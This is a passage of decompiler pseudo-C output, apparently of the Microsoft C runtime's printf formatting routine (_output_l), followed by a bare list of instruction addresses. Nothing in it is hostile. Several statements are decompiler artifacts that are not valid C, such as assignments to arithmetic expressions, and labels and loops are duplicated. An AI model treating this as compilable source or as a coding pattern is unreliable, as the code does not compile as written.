																 *(__ebp - 0x10) = __eax;
																goto L61;
															case 4:
																goto L61;
														}
													case 7:
														L62:
														__ecx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x30c) = __ecx;
														 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
														 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
														__eflags =  *(__ebp - 0x30c) - 0x37;
														if( *(__ebp - 0x30c) > 0x37) {
															while(1) {
																L181:
																__eflags =  *(_t668 - 0x28);
																if( *(_t668 - 0x28) != 0) {
																	goto L207;
																}
																goto L182;
															}
														}
														L63:
														_t148 =  *(__ebp - 0x30c) + 0x4281c4; // 0xcccccc0d
														__ecx =  *_t148 & 0x000000ff;
														switch( *((intOrPtr*)(__ecx * 4 +  &M00428188))) {
															case 0:
																L114:
																 *(__ebp - 0x2c) = 1;
																__ecx =  *((char*)(__ebp - 0x251));
																__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																__eflags = __ecx;
																 *((char*)(__ebp - 0x251)) = __cl;
																goto L115;
															case 1:
																L64:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																__eflags =  *(__ebp - 0x10) & 0x00000830;
																if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																}
																goto L66;
															case 2:
																L79:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																__eflags =  *(__ebp - 0x10) & 0x00000830;
																if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																}
																goto L81;
															case 3:
																L138:
																 *(__ebp - 0x260) = 7;
																goto L140;
															case 4:
																L72:
																__eax = __ebp + 0x14;
																 *(__ebp - 0x284) = E00428200(__ebp + 0x14);
																__eflags =  *(__ebp - 0x284);
																if( *(__ebp - 0x284) == 0) {
																	L74:
																	__edx =  *0x440f80; // 0x404478
																	 *(__ebp - 4) = __edx;
																	__eax =  *(__ebp - 4);
																	 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																	L78:
																	goto L181;
																}
																L73:
																__ecx =  *(__ebp - 0x284);
																__eflags =  *(__ecx + 4);
																if( *(__ecx + 4) != 0) {
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																	__eflags =  *(__ebp - 0x10) & 0x00000800;
																	if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																		 *(__ebp - 0xc) = 0;
																		__edx =  *(__ebp - 0x284);
																		__eax =  *(__edx + 4);
																		 *(__ebp - 4) =  *(__edx + 4);
																		__ecx =  *(__ebp - 0x284);
																		__edx =  *__ecx;
																		 *(__ebp - 0x24) =  *__ecx;
																	} else {
																		__edx =  *(__ebp - 0x284);
																		__eax =  *(__edx + 4);
																		 *(__ebp - 4) =  *(__edx + 4);
																		__ecx =  *(__ebp - 0x284);
																		__eax =  *__ecx;
																		asm("cdq");
																		 *__ecx - __edx =  *__ecx - __edx >> 1;
																		 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																		 *(__ebp - 0xc) = 1;
																	}
																	goto L78;
																}
																goto L74;
															case 5:
																L115:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																__eax = __ebp - 0x248;
																 *(__ebp - 4) = __ebp - 0x248;
																 *(__ebp - 0x44) = 0x200;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) >= 0) {
																	L117:
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) != 0) {
																		L120:
																		__eflags =  *(__ebp - 0x30) - 0x200;
																		if( *(__ebp - 0x30) > 0x200) {
																			 *(__ebp - 0x30) = 0x200;
																		}
																		L122:
																		__eflags =  *(__ebp - 0x30) - 0xa3;
																		if( *(__ebp - 0x30) > 0xa3) {
																			 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																			 *(__ebp - 0x20) = L0041B760(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																			__eflags =  *(__ebp - 0x20);
																			if( *(__ebp - 0x20) == 0) {
																				 *(__ebp - 0x30) = 0xa3;
																			} else {
																				__eax =  *(__ebp - 0x20);
																				 *(__ebp - 4) =  *(__ebp - 0x20);
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																			}
																		}
																		 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																		 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																		__eax =  *(__ebp + 0x14);
																		_t275 = __eax - 8; // 0xe852f855
																		__ecx =  *_t275;
																		_t276 = __eax - 4; // 0xbc20
																		__edx =  *_t276;
																		 *(__ebp - 0x2a0) =  *_t275;
																		 *(__ebp - 0x29c) =  *_t276;
																		__ecx = __ebp - 0x40;
																		_push(E0041ACF0(__ebp - 0x40));
																		__eax =  *(__ebp - 0x2c);
																		_push( *(__ebp - 0x2c));
																		__ecx =  *(__ebp - 0x30);
																		_push( *(__ebp - 0x30));
																		__edx =  *((char*)(__ebp - 0x251));
																		_push( *((char*)(__ebp - 0x251)));
																		__eax =  *(__ebp - 0x44);
																		_push( *(__ebp - 0x44));
																		__ecx =  *(__ebp - 4);
																		_push( *(__ebp - 4));
																		__edx = __ebp - 0x2a0;
																		_push(__ebp - 0x2a0);
																		__eax =  *0x440374; // 0x4b3bc1ec
																		__eax =  *__eax();
																		__esp = __esp + 0x1c;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) == 0) {
																				__ecx = __ebp - 0x40;
																				_push(E0041ACF0(__ebp - 0x40));
																				__edx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__eax =  *0x440380; // 0x4b248c6c
																				__eax =  *__eax();
																				__esp = __esp + 8;
																			}
																		}
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																		if( *((char*)(__ebp - 0x251)) == 0x67) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																				__ecx = __ebp - 0x40;
																				_push(E0041ACF0(__ebp - 0x40));
																				__eax =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__ecx =  *0x44037c; // 0x4b24956c
																				E00424560(__ecx) =  *__eax();
																				__esp = __esp + 8;
																			}
																		}
																		__edx =  *(__ebp - 4);
																		__eax =  *( *(__ebp - 4));
																		__eflags =  *( *(__ebp - 4)) - 0x2d;
																		if( *( *(__ebp - 4)) == 0x2d) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																			__edx =  *(__ebp - 4);
																			__edx =  *(__ebp - 4) + 1;
																			__eflags = __edx;
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																		do {
																			L181:
																			__eflags =  *(_t668 - 0x28);
																			if( *(_t668 - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		} while ( *(__ebp - 0x30c) > 0x37);
																		goto L63;
																	}
																	L118:
																	__ecx =  *((char*)(__ebp - 0x251));
																	__eflags = __ecx - 0x67;
																	if(__ecx != 0x67) {
																		goto L120;
																	}
																	L119:
																	 *(__ebp - 0x30) = 1;
																	goto L122;
																}
																L116:
																 *(__ebp - 0x30) = 6;
																goto L122;
															case 6:
																L66:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																__eflags =  *(__ebp - 0x10) & 0x00000810;
																if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																	__ebp + 0x14 = E00428200(__ebp + 0x14);
																	 *(__ebp - 0x280) = __ax;
																	__cl =  *(__ebp - 0x280);
																	 *(__ebp - 0x248) = __cl;
																	 *(__ebp - 0x24) = 1;
																} else {
																	 *(__ebp - 0x27c) = 0;
																	__edx = __ebp + 0x14;
																	__eax = E00428240(__ebp + 0x14);
																	 *(__ebp - 0x258) = __ax;
																	__eax =  *(__ebp - 0x258) & 0x0000ffff;
																	__ecx = __ebp - 0x248;
																	__edx = __ebp - 0x24;
																	 *(__ebp - 0x27c) = E004340D0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																	__eflags =  *(__ebp - 0x27c);
																	if( *(__ebp - 0x27c) != 0) {
																		 *(__ebp - 0x28) = 1;
																	}
																}
																__edx = __ebp - 0x248;
																 *(__ebp - 4) = __ebp - 0x248;
																while(1) {
																	L181:
																	__eflags =  *(_t668 - 0x28);
																	if( *(_t668 - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
															case 7:
																L135:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *((intOrPtr*)(__ebp - 8)) = 0xa;
																L144:
																__eflags =  *(_t668 - 0x10) & 0x00008000;
																if(( *(_t668 - 0x10) & 0x00008000) == 0) {
																	_t615 =  *(_t668 - 0x10) & 0x00001000;
																	__eflags = _t615;
																	if(_t615 == 0) {
																		__eflags =  *(_t668 - 0x10) & 0x00000020;
																		if(( *(_t668 - 0x10) & 0x00000020) == 0) {
																			_t617 =  *(_t668 - 0x10) & 0x00000040;
																			__eflags = _t617;
																			if(_t617 == 0) {
																				_t476 = E00428200(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				__eflags = 0;
																				 *(_t668 - 0x2b0) = _t476;
																				 *(_t668 - 0x2ac) = 0;
																			} else {
																				_t549 = E00428200(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				asm("cdq");
																				 *(_t668 - 0x2b0) = _t549;
																				 *(_t668 - 0x2ac) = _t617;
																			}
																		} else {
																			_t665 =  *(_t668 - 0x10) & 0x00000040;
																			__eflags = _t665;
																			if(_t665 == 0) {
																				_t550 = E00428200(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				asm("cdq");
																				 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
																				 *(_t668 - 0x2ac) = _t665;
																			} else {
																				_t553 = E00428200(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				asm("cdq");
																				 *(_t668 - 0x2b0) = _t553;
																				 *(_t668 - 0x2ac) = _t665;
																			}
																		}
																	} else {
																		_t556 = E00428220(_t668 + 0x14);
																		_t670 = _t670 + 4;
																		 *(_t668 - 0x2b0) = _t556;
																		 *(_t668 - 0x2ac) = _t615;
																	}
																} else {
																	_t557 = E00428220(_t668 + 0x14);
																	_t670 = _t670 + 4;
																	 *(_t668 - 0x2b0) = _t557;
																	 *(_t668 - 0x2ac) = _t613;
																}
																__eflags =  *(_t668 - 0x10) & 0x00000040;
																if(( *(_t668 - 0x10) & 0x00000040) == 0) {
																	goto L161;
																}
															case 8:
																L100:
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x294) = E00428200(__ebp + 0x14);
																__eax = E00433DB0();
																__eflags = __eax;
																if(__eax != 0) {
																	L110:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																	__eflags =  *(__ebp - 0x10) & 0x00000020;
																	if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																		__edx =  *(__ebp - 0x294);
																		__eax =  *(__ebp - 0x24c);
																		 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																	} else {
																		__eax =  *(__ebp - 0x294);
																		 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																	}
																	 *(__ebp - 0x28) = 1;
																	while(1) {
																		L181:
																		__eflags =  *(_t668 - 0x28);
																		if( *(_t668 - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
																L101:
																__edx = 0;
																__eflags = 0;
																if(0 == 0) {
																	 *(__ebp - 0x314) = 0;
																} else {
																	 *(__ebp - 0x314) = 1;
																}
																__eax =  *(__ebp - 0x314);
																 *(__ebp - 0x298) =  *(__ebp - 0x314);
																__eflags =  *(__ebp - 0x298);
																if( *(__ebp - 0x298) == 0) {
																	_push(L"(\"\'n\' format specifier disabled\", 0)");
																	_push(0);
																	_push(0x695);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	__eax = L0041E220();
																	__esp = __esp + 0x14;
																	__eflags = __eax - 1;
																	if(__eax == 1) {
																		asm("int3");
																	}
																}
																__eflags =  *(__ebp - 0x298);
																if( *(__ebp - 0x298) != 0) {
																	L109:
																	while(1) {
																		L181:
																		__eflags =  *(_t668 - 0x28);
																		if( *(_t668 - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																} else {
																	L108:
																	 *((intOrPtr*)(L00422D10(__ecx))) = 0x16;
																	__eax = E00422AA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																	 *(__ebp - 0x2e8) = 0xffffffff;
																	__ecx = __ebp - 0x40;
																	__eax = E0041ACC0(__ecx);
																	__eax =  *(__ebp - 0x2e8);
																	L211:
																	return E0042BB60(_t497, _t558,  *(_t668 - 0x48) ^ _t668, _t631, _t666, _t667);
																}
															case 9:
																goto L0;
															case 0xa:
																L137:
																 *(__ebp - 0x30) = 8;
																goto L138;
															case 0xb:
																L81:
																__eflags =  *(__ebp - 0x30) - 0xffffffff;
																if( *(__ebp - 0x30) != 0xffffffff) {
																	__edx =  *(__ebp - 0x30);
																	 *(__ebp - 0x310) =  *(__ebp - 0x30);
																} else {
																	 *(__ebp - 0x310) = 0x7fffffff;
																}
																__eax =  *(__ebp - 0x310);
																 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																__ecx = __ebp + 0x14;
																 *(__ebp - 4) = E00428200(__ebp + 0x14);
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																__eflags =  *(__ebp - 0x10) & 0x00000810;
																if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																	L92:
																	__eflags =  *(__ebp - 4);
																	if( *(__ebp - 4) == 0) {
																		__edx =  *0x440f80; // 0x404478
																		 *(__ebp - 4) = __edx;
																	}
																	__eax =  *(__ebp - 4);
																	 *(__ebp - 0x288) =  *(__ebp - 4);
																	while(1) {
																		L95:
																		__ecx =  *(__ebp - 0x28c);
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			break;
																		}
																		L96:
																		__eax =  *(__ebp - 0x288);
																		__ecx =  *( *(__ebp - 0x288));
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			break;
																		}
																		L97:
																		 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																		 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																	}
																	L98:
																	__eax =  *(__ebp - 0x288);
																	__eax =  *(__ebp - 0x288) -  *(__ebp - 4);
																	__eflags = __eax;
																	 *(__ebp - 0x24) = __eax;
																	goto L99;
																} else {
																	L85:
																	__eflags =  *(__ebp - 4);
																	if( *(__ebp - 4) == 0) {
																		__eax =  *0x440f84; // 0x404468
																		 *(__ebp - 4) = __eax;
																	}
																	 *(__ebp - 0xc) = 1;
																	__ecx =  *(__ebp - 4);
																	 *(__ebp - 0x290) =  *(__ebp - 4);
																	while(1) {
																		L88:
																		__edx =  *(__ebp - 0x28c);
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		__eflags =  *(__ebp - 0x28c);
																		if( *(__ebp - 0x28c) == 0) {
																			break;
																		}
																		L89:
																		__ecx =  *(__ebp - 0x290);
																		__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																		__eflags =  *( *(__ebp - 0x290)) & 0x0000ffff;
																		if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																			break;
																		}
																		L90:
																		 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																		 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																	}
																	L91:
																	 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																	__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																	 *(__ebp - 0x24) = __ecx;
																	L99:
																	while(1) {
																		L181:
																		__eflags =  *(_t668 - 0x28);
																		if( *(_t668 - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
															case 0xc:
																L136:
																 *((intOrPtr*)(__ebp - 8)) = 0xa;
																while(1) {
																	L144:
																	__eflags =  *(_t668 - 0x10) & 0x00008000;
																	if(( *(_t668 - 0x10) & 0x00008000) == 0) {
																		_t615 =  *(_t668 - 0x10) & 0x00001000;
																		__eflags = _t615;
																		if(_t615 == 0) {
																			__eflags =  *(_t668 - 0x10) & 0x00000020;
																			if(( *(_t668 - 0x10) & 0x00000020) == 0) {
																				_t617 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t617;
																				if(_t617 == 0) {
																					_t476 = E00428200(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					__eflags = 0;
																					 *(_t668 - 0x2b0) = _t476;
																					 *(_t668 - 0x2ac) = 0;
																				} else {
																					_t549 = E00428200(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t549;
																					 *(_t668 - 0x2ac) = _t617;
																				}
																			} else {
																				_t665 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t665;
																				if(_t665 == 0) {
																					_t550 = E00428200(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
																					 *(_t668 - 0x2ac) = _t665;
																				} else {
																					_t553 = E00428200(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t553;
																					 *(_t668 - 0x2ac) = _t665;
																				}
																			}
																		} else {
																			_t556 = E00428220(_t668 + 0x14);
																			_t670 = _t670 + 4;
																			 *(_t668 - 0x2b0) = _t556;
																			 *(_t668 - 0x2ac) = _t615;
																		}
																	} else {
																		_t557 = E00428220(_t668 + 0x14);
																		_t670 = _t670 + 4;
																		 *(_t668 - 0x2b0) = _t557;
																		 *(_t668 - 0x2ac) = _t613;
																	}
																	__eflags =  *(_t668 - 0x10) & 0x00000040;
																	if(( *(_t668 - 0x10) & 0x00000040) == 0) {
																		goto L161;
																	}
																	goto L157;
																}
															case 0xd:
																L139:
																 *(__ebp - 0x260) = 0x27;
																L140:
																 *((intOrPtr*)(__ebp - 8)) = 0x10;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																	 *((char*)(__ebp - 0x14)) = 0x30;
																	 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																	__eflags =  *(__ebp - 0x260) + 0x51;
																	 *((char*)(__ebp - 0x13)) = __al;
																	 *(__ebp - 0x1c) = 2;
																}
																while(1) {
																	L144:
																	__eflags =  *(_t668 - 0x10) & 0x00008000;
																	if(( *(_t668 - 0x10) & 0x00008000) == 0) {
																		_t615 =  *(_t668 - 0x10) & 0x00001000;
																		__eflags = _t615;
																		if(_t615 == 0) {
																			__eflags =  *(_t668 - 0x10) & 0x00000020;
																			if(( *(_t668 - 0x10) & 0x00000020) == 0) {
																				_t617 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t617;
																				if(_t617 == 0) {
																					_t476 = E00428200(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					__eflags = 0;
																					 *(_t668 - 0x2b0) = _t476;
																					 *(_t668 - 0x2ac) = 0;
																				} else {
																					_t549 = E00428200(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t549;
																					 *(_t668 - 0x2ac) = _t617;
																				}
																			} else {
																				_t665 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t665;
																				if(_t665 == 0) {
																					_t550 = E00428200(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
																					 *(_t668 - 0x2ac) = _t665;
																				} else {
																					_t553 = E00428200(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t553;
																					 *(_t668 - 0x2ac) = _t665;
																				}
																			}
																		} else {
																			_t556 = E00428220(_t668 + 0x14);
																			_t670 = _t670 + 4;
																			 *(_t668 - 0x2b0) = _t556;
																			 *(_t668 - 0x2ac) = _t615;
																		}
																	} else {
																		_t557 = E00428220(_t668 + 0x14);
																		_t670 = _t670 + 4;
																		 *(_t668 - 0x2b0) = _t557;
																		 *(_t668 - 0x2ac) = _t613;
																	}
																	__eflags =  *(_t668 - 0x10) & 0x00000040;
																	if(( *(_t668 - 0x10) & 0x00000040) == 0) {
																		goto L161;
																	}
																	goto L157;
																}
															case 0xe:
																while(1) {
																	L181:
																	__eflags =  *(_t668 - 0x28);
																	if( *(_t668 - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
														}
													case 8:
														L21:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
														goto L24;
													case 9:
														L22:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
														goto L24;
													case 0xa:
														L20:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000001;
														 *(__ebp - 0x10) = __ecx;
														goto L24;
													case 0xb:
														L19:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
														goto L24;
													case 0xc:
														L23:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000008;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
														goto L24;
													case 0xd:
														L24:
														goto L209;
												}
											}
											L210:
											 *(_t668 - 0x2ec) =  *(_t668 - 0x24c);
											E0041ACC0(_t668 - 0x40);
											_t497 =  *(_t668 - 0x2ec);
											goto L211;
										}
									}
									L178:
									__eflags =  *(_t668 - 0x24);
									if( *(_t668 - 0x24) == 0) {
										L180:
										 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) - 1;
										 *((char*)( *((intOrPtr*)(_t668 - 4)))) = 0x30;
										_t605 =  *(_t668 - 0x24) + 1;
										__eflags = _t605;
										 *(_t668 - 0x24) = _t605;
										goto L181;
									}
									L179:
									__eflags =  *((char*)( *((intOrPtr*)(_t668 - 4)))) - 0x30;
									if( *((char*)( *((intOrPtr*)(_t668 - 4)))) == 0x30) {
										goto L181;
									}
									goto L180;
								}
								L174:
								asm("cdq");
								_t624 =  *(_t668 - 0x2b8);
								 *(_t668 - 0x2a4) = E00430630(_t624,  *(_t668 - 0x2b4),  *(_t668 - 8), _t623) + 0x30;
								asm("cdq");
								 *(_t668 - 0x2b8) = E004306B0( *(_t668 - 0x2b8),  *(_t668 - 0x2b4),  *(_t668 - 8), _t624);
								 *(_t668 - 0x2b4) = _t624;
								__eflags =  *(_t668 - 0x2a4) - 0x39;
								if( *(_t668 - 0x2a4) > 0x39) {
									_t628 =  *(_t668 - 0x2a4) +  *((intOrPtr*)(_t668 - 0x260));
									__eflags = _t628;
									 *(_t668 - 0x2a4) = _t628;
								}
								 *((char*)( *((intOrPtr*)(_t668 - 4)))) =  *(_t668 - 0x2a4);
								 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) - 1;
								L172:
								_t623 =  *(_t668 - 0x30) - 1;
								 *(_t668 - 0x30) =  *(_t668 - 0x30) - 1;
								__eflags =  *(_t668 - 0x30);
								if( *(_t668 - 0x30) > 0) {
									goto L174;
								}
								goto L173;
							}
						}
						L159:
						__eflags =  *(_t668 - 0x2b0);
						if( *(_t668 - 0x2b0) >= 0) {
							goto L161;
						}
						goto L160;
						L161:
						 *(_t668 - 0x2b8) =  *(_t668 - 0x2b0);
						 *(_t668 - 0x2b4) =  *(_t668 - 0x2ac);
						goto L162;
					}
				}
			}

0x00427c1d
0x00427c1d
0x00427c1d
0x00427c1d
0x00427c2d
0x00427c2f
0x00427c32
0x00427c32
0x00427c38
0x00427c38
0x00427c3b
0x00427c3b
0x00427c3e
0x00427c43
0x00427c65
0x00427c65
0x00427c6b
0x00427c8d
0x00427c90
0x00427cd7
0x00427cd7
0x00427cda
0x00427cfb
0x00427d00
0x00427d03
0x00427d05
0x00427d0b
0x00427cdc
0x00427ce0
0x00427ce5
0x00427ce8
0x00427ce9
0x00427cef
0x00427cef
0x00427c92
0x00427c95
0x00427c95
0x00427c98
0x00427cba
0x00427cbf
0x00427cc5
0x00427cc6
0x00427ccc
0x00427c9a
0x00427c9e
0x00427ca3
0x00427ca7
0x00427ca8
0x00427cae
0x00427cae
0x00427cd2
0x00427c6d
0x00427c71
0x00427c76
0x00427c79
0x00427c7f
0x00427c7f
0x00427c45
0x00427c49
0x00427c4e
0x00427c51
0x00427c57
0x00427c57
0x00427d14
0x00427d17
0x00000000
0x00000000
0x00427d19
0x00427d19
0x00427d20
0x00000000
0x00000000
0x00427d22
0x00427d22
0x00427d2d
0x00427d3b
0x00427d40
0x00427d46
0x00427d54
0x00427d71
0x00427d74
0x00427d79
0x00427d7e
0x00427d84
0x00427d92
0x00427d92
0x00427d9b
0x00427d9b
0x00427d84
0x00427da1
0x00427da5
0x00427db6
0x00427db9
0x00427dc0
0x00427dc2
0x00427dc2
0x00427da7
0x00427da7
0x00427da7
0x00427dcf
0x00427dd5
0x00427dd7
0x00427dd7
0x00427de1
0x00427de4
0x00427de4
0x00427dea
0x00427ded
0x00427df0
0x00427df2
0x00000000
0x00000000
0x00427df4
0x00427dfa
0x00427e00
0x00427e7d
0x00427e83
0x00427e8c
0x00427e92
0x00427e98
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00427ecd
0x00427ed0
0x00427ed3
0x00427ed8
0x00427edd
0x00427eef
0x00427ef2
0x00427f04
0x00427f07
0x00427f09
0x00427f0d
0x00427f0d
0x00427ef4
0x00427ef4
0x00427ef8
0x00427ef8
0x00427edf
0x00427edf
0x00427ee3
0x00427ee3
0x00427edd
0x00427f1d
0x00427f26
0x00427f29
0x00427f3f
0x00427f44
0x00427f44
0x00427f5a
0x00427f5f
0x00427f65
0x00427f68
0x00427f6d
0x00427f70
0x00427f86
0x00427f8b
0x00427f8b
0x00427f70
0x00427f8e
0x00427f92
0x00428066
0x00428079
0x0042807e
0x00000000
0x00427f98
0x00427f98
0x00427f98
0x00427f9c
0x00000000
0x00000000
0x00427fa2
0x00427fa2
0x00427faf
0x00427fb8
0x00427fbe
0x00427fbe
0x00427fcd
0x00427fd3
0x00427fd5
0x00000000
0x00000000
0x00427fdb
0x00427fe4
0x00428003
0x00428008
0x0042800b
0x0042801a
0x00428020
0x00428027
0x00428032
0x00428032
0x00000000
0x00428032
0x00428029
0x00428029
0x00428030
0x0042803e
0x00428057
0x0042805c
0x00000000
0x0042805c
0x00000000
0x00428030
0x00428064
0x00428081
0x00428081
0x00428088
0x0042808d
0x00428090
0x004280a6
0x004280ab
0x004280ab
0x00428090
0x00428088
0x004280ae
0x004280ae
0x004280b2
0x004280ba
0x004280bf
0x004280c2
0x004280c2
0x004280c9
0x004280c9
0x0042724f
0x00427262
0x00427267
0x00000000
0x0042727a
0x00427284
0x004272ab
0x00427292
0x004272a3
0x004272a3
0x00427284
0x004272b5
0x004272bb
0x004272cd
0x004272d8
0x004272e4
0x004272f1
0x00000000
0x00000000
0x004272f7
0x004272fd
0x00000000
0x00427304
0x00427304
0x0042731c
0x00427321
0x00427326
0x004273e0
0x004273f3
0x004273f8
0x00000000
0x0042732c
0x0042733f
0x00427344
0x0042734a
0x0042734c
0x00427355
0x00427358
0x00427364
0x00427368
0x0042736e
0x00427370
0x00427375
0x00427377
0x0042737c
0x00427381
0x00427383
0x00427388
0x0042738e
0x00427390
0x00427390
0x0042738e
0x00427391
0x00427398
0x00000000
0x0042739a
0x0042739f
0x004273bb
0x004273c3
0x004273d0
0x004273d5
0x00000000
0x004273d5
0x00427398
0x00000000
0x00427400
0x00427400
0x00427407
0x0042740a
0x0042740d
0x00427410
0x00427413
0x00427416
0x00427419
0x00427420
0x00427427
0x00000000
0x00000000
0x00427433
0x00427433
0x0042743a
0x00427446
0x00427449
0x0042744f
0x00427456
0x00000000
0x00000000
0x00427458
0x00427458
0x0042745e
0x0042745e
0x00427465
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
